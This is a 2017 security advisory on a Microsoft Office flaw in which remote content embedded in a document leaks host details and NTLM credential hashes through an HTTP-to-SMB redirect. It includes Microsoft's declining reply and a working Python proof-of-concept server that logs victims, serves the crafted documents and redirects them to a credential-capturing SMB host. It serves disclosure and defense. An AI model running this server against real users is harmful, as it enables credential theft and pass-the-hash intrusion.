SSD Advisory – Microsoft Office SMB Information Disclosure

blogs.securiteam.com/index.php/archives/3463

SSD / Maor Schwartz October 15, 2017

Vulnerability Summary
The following advisory describes an information disclosure found in Microsoft Office versions 2010, 2013, and 2016.

Microsoft Office is: “Whether you’re working or playing, Microsoft is here to help. We’re the company that created Microsoft Office, including Office 365 Home, Office 365 Personal, Office Home & Student 2016, Office Home & Business 2016, and Office Professional 2016. You can also get Office for Mac. Whatever your needs—whether professional or simply for fun—we’ve got you covered. The powerful software in Microsoft Office 2013 remains in Microsoft Office 2016.”

Credit
An independent security researcher, Björn Ruytenberg, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response
Microsoft was informed of the vulnerability, to which they response with:

“Upon investigation, we have determined that this submission does not meet the bar for security servicing. Unfortunately images are commonly used in emails and other locations that are sourced from external sites, those sites can use that request for basic tracking information. Your report about SMBTrap is also a well documented publicly disclosed item and would not meet the bar. In addition the PoC requires a user to disable their security, specifically the Protected View, stating that they trust the source.

As such, this email thread has been closed and will no longer be monitored.”

Vulnerability details
The Microsoft Office document format allows for embedding remote content, such as images. This remote content can be hosted on any HTTP server. Upon opening such a document, embedded remote content is downloaded and shown. A vulnerability exists that enables exploiting this mechanism to disclose information to an attacker-controlled remote server.

An attacker can send to the victim a malicious Office file with embedded remote content.

When the victim will open the file, an HTTP request will be sent to the attacker controlled web-server.

The vulnerability allows the attacker to redirect the HTTP request to an SMB connection an get the following information from the victims machine:

- Victim host environment information
- Host IP address (*)
- Windows version
- Office version
- Installed .NET Framework runtimes
- Presence of the Tablet PC subsystem (**)
- Windows user credentials: username and password NTLM hash. This allows an attacker to:

1. Mount a “Pass-the-Hash” attack: the username and hash can be used to logon to a third-party host that the victim is authorized to access.
2. Derive the originating plaintext password, using bruteforcing tools (***)

(*) The IP address exposed to the attacker’s server depends on the document payload. If the payload references an external host, i.e. outside the local network, the victim host’s external IP address will be exposed to the attacker server. Similarly, if referencing an internal server, the victim host’s internal IP address will be exposed to the attacker server.
(**) If present, the Tablet PC substring likely indicates that the victim’s machine is a tablet device, or hybrid equipment that provides a touch screen.
(***) The Exploit section further discusses these scenarios.

The vulnerability can be exploited through:

- Opening a specially-crafted, local MS Office document (DOCX, XLSX) that embeds the malicious content. No additional user interaction is required.
- Opening a specially-crafted MS Office document, downloaded from a remote server. In this scenario, disabling “Protected View”, i.e. clicking “Enable Editing”, is required to exploit the vulnerability. However, enabling macros is _not_ required.

Proof of Concept
Attacker Webserver:

Python

```
1  import tornado.ioloop
2  import tornado.web
3  import string
4  import random
5  import os.path
6
7  # Microsoft Office Information Disclosure Vulnerability
8  #
9  # This Python script hosts an HTTP server, fulfulling three purposes:
10 # - Victim host info logging:
11 # Logs the User-Agent exposed by the victim machine, including the following host environment info:
12 # Windows version, Office version, installed .NET runtime versions, presence of Tablet PC subsystem
13 # - Serves the malicious Office documents:
14 # Note: this is to demonstrate a remote exploitation scenario. The documents may be hosted elsewhere, or
15 distributed through other means (e.g. email).
16 # - Redirects the user (HTTP 302) to a malicious SMB server that captures Windows user credentials (e.g.
17 SMBtrap).
18
19
20 smbServerAddr = "IP" # Host running SMBtrap
21
22 class HandleRequest(tornado.web.RequestHandler):
23     def get(self):
24         print self.request.remote_ip + ": HTTP GET "'+ self.request.path + """
25         print self.request.remote_ip + ": User-Agent: " + self.request.headers["User-Agent"]
26
27         if self.request.path == "/favicon.ico":
```

```
28              self.set_status(404, "Not Found")
29          elif self.request.path.startswith('/poc_'):
30              officePocPath = os.getcwd() + self.request.path
31
32              if self.request.path.endswith('.docx') == True:
33                  self.set_header("Content-Type","application/vnd.openxmlformats-
34  officedocument.wordprocessingml.document")
35              else:
36                  self.set_header("Content-Type","application/vnd.openxmlformats-
37  officedocument.spreadsheetml.sheet")
38
39              if os.path.exists(officePocPath) == True:
40                  print "  Serving " + self.request.path
41
42                  with open(officePocPath, 'rb') as f:
43                      data = f.read()
44                  self.write(data)
45                  self.finish()
46
47              else:
48                  print "  Cannot serve " + self.request.path + ": file not found in script working directory."
49          else:
50              print "  Sending HTTP 302 file://///" + smbServerAddr +"/some/path"
51              self.set_status(302, "Found")
52              self.redirect("file://///" + smbServerAddr +"/some/path")
53
54
55  application = tornado.web.Application([
56      (r".*", HandleRequest),
57  ])
58
59  if __name__ == "__main__":
60      import sys
61
62      port = 80
63      if len(sys.argv) > 2:
            port = int(sys.argv[2])

        application.listen(port)
        tornado.ioloop.IOLoop.instance().start()
```